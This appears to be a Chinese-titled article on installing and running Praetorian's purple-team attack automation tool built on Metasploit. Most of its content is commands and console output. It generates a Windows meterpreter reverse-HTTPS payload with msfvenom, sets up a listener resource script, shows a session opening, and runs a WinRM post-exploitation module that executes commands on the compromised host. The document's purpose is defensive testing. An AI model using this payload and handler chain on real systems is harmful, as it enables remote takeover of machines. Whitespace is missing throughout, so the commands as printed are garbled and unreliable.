PTAA：一款功能强大的紫队自动化渗透测试工具

exportDNS_NAME="mytestdomain.com"wgethttps://dl.eff.org/certbot-autochmoda+x ./certbot-auto./certbot-auto-q./certbot-autocertonly -d $DNS_NAME --standalone --register-unsafely-without-email -n--agree-tos

curl-fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -apt-keyfingerprint 0EBFCD88add-apt-repository\   "deb [arch=amd64]https://download.docker.com/linux/debian jessie stable"apt-get-y updateapt-get-y install docker-ce

git clone git@github.com:praetorian-inc/purple-team-attack-automation.gitcd purple-team-attack-automation

echo"version: '3'services:  ms:    environment:    # example of setting LHOST      LHOST: 0.0.0.0    # example of adding more ports    ports:      - 8080:8080      - 443:443      - 80:80"> docker-compose.local.override.yml

echo"COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml">> .env

docker -composebuild

./docker/bin/msfconsole

chmod-R ugo+rw ~/.msf4Payloadcd ~curlhttps://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb> msfinstall && \  chmod 755 msfinstall && \  ./msfinstallmsfvenom-p windows/x64/meterpreter_reverse_https lhost=mytestdomain.com lport=443 -ax64 -f exe HandlerSSLCert=~/purple-team-attack-automation/MSF.pemStagerVerifySSLCert=true -o ~/attack-testing.exe

$echo '<ruby>print_status("StartingHTTPS listener for Windows x64 meterpreter on port 443.")run_single("useexploit/multi/handler")run_single("setpayload windows/x64/meterpreter_reverse_https")run_single("setlport 443")run_single("setHandlerSSLCert MSF.pem")run_single("setExitOnSession false")run_single("setStagerVerifySSLCert true")run_single("exploit-j")</ruby>'> ~/purple-team-attack-automation/scripts/resource/windows_listener.rc

msf5auxiliary(scanner/smb/impacket/secretsdump) > resource windows_listener.rc[*]Processing /usr/src/metasploit-framework/scripts/resource/windows_listener.rcfor ERB directives.[*]resource (/usr/src/metasploit-framework/scripts/resource/windows_listener.rc)>Ruby Code (270 bytes)[*]Starting HTTPS listener for Windows x64 meterpreter on port 443.payload=> windows/x64/meterpreter_reverse_httpslport=> 443lhost=> 0.0.0.0[*]Exploit running as background job 0.[*]Exploit completed, but no session was created.msf5exploit(multi/handler) >[*]Started HTTPS reverse handler on https://0.0.0.0:443[*]https://0.0.0.0:443 handling request from 192.168.137.11; (UUID: czgdxj3z)Redirecting stageless connection from/2F-7ig9OfztlUGRSOeTJogLC1HD_4Yf2RGj-ZlWaPE6oCIdO_nvk_GC913H-gXl7lhXUXYcn withUA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'[*]https://0.0.0.0:443 handling request from 192.168.137.11; (UUID: czgdxj3z)Attaching orphaned/stageless session...[*]Meterpreter session 1 opened (172.18.0.3:443 -> 192.168.137.11:52012) at2019-04-15 16:10:27 +0000
msf5post(windows/purple/t1005) > use post/windows/purple/t1028msf5post(windows/purple/t1028) > info
       Name: Windows Remote Management (T1028)Windows - Purple Team     Module: post/windows/purple/t1028   Platform: Windows       Arch:       Rank: Normal
Providedby:  Praetorian
Compatiblesession types:  Meterpreter
Basicoptions:  Name    Current Setting                                                      Required  Description  ----    ---------------                                                      --------  -----------  CLEANUP true                                                                 yes       Close any instances ofcalc  CMD     winrm qc -q & winrm i c wmicimv2/Win32_Process@{CommandLine="calc"}  yes       Command to execute  SESSION 1                                                                    yes       The session to run thismodule on.
Description:  Execution, Lateral Movement: Windows RemoteManagement (WinRM) is  the name of both a Windows service and aprotocol that allows a user  to interact with a remote system (e.g., runan executable, modify  the Registry, modify services). It may becalled with the winrm  command or by any number of programs such asPowerShell.
References:  CVE: Not available  https://attack.mitre.org/wiki/Technique/T1028
msf5post(windows/purple/t1028) > exploit
[+]Found an instance of Calculator running. Killing it.[*]Executing 'cmd /c winrm qc -q & winrm i c wmicimv2/Win32_Process@{CommandLine="calc"}' on #<Session:meterpreter192.168.137.11:52012 (10.0.2.15) "PURPLEDEV\Administrator @DESKTOP-1">[!]WinRM service is already running on this machine.WSManFault    Message        ProviderFault            WSManFault                Message = WinRM firewall exceptionwill not work since one of the network connection types on this machine is setto Public. Change the network connection type to either Domain or Private andtry again.
Errornumber:  -2144108183 0x80338169WinRMfirewall exception will not work since one of the network connection types onthis machine is set to Public. Change the network connection type to eitherDomain or Private and try again.create_OUTPUT    ProcessId = 5456    ReturnValue = 0
[+]Module T1028W execution successful.[+]Found an instance of Calculator running. Killing it.[+]Found an instance of Calculator running. Killing it.[*]Post module execution completedmsf5post(windows/purple/t1028) >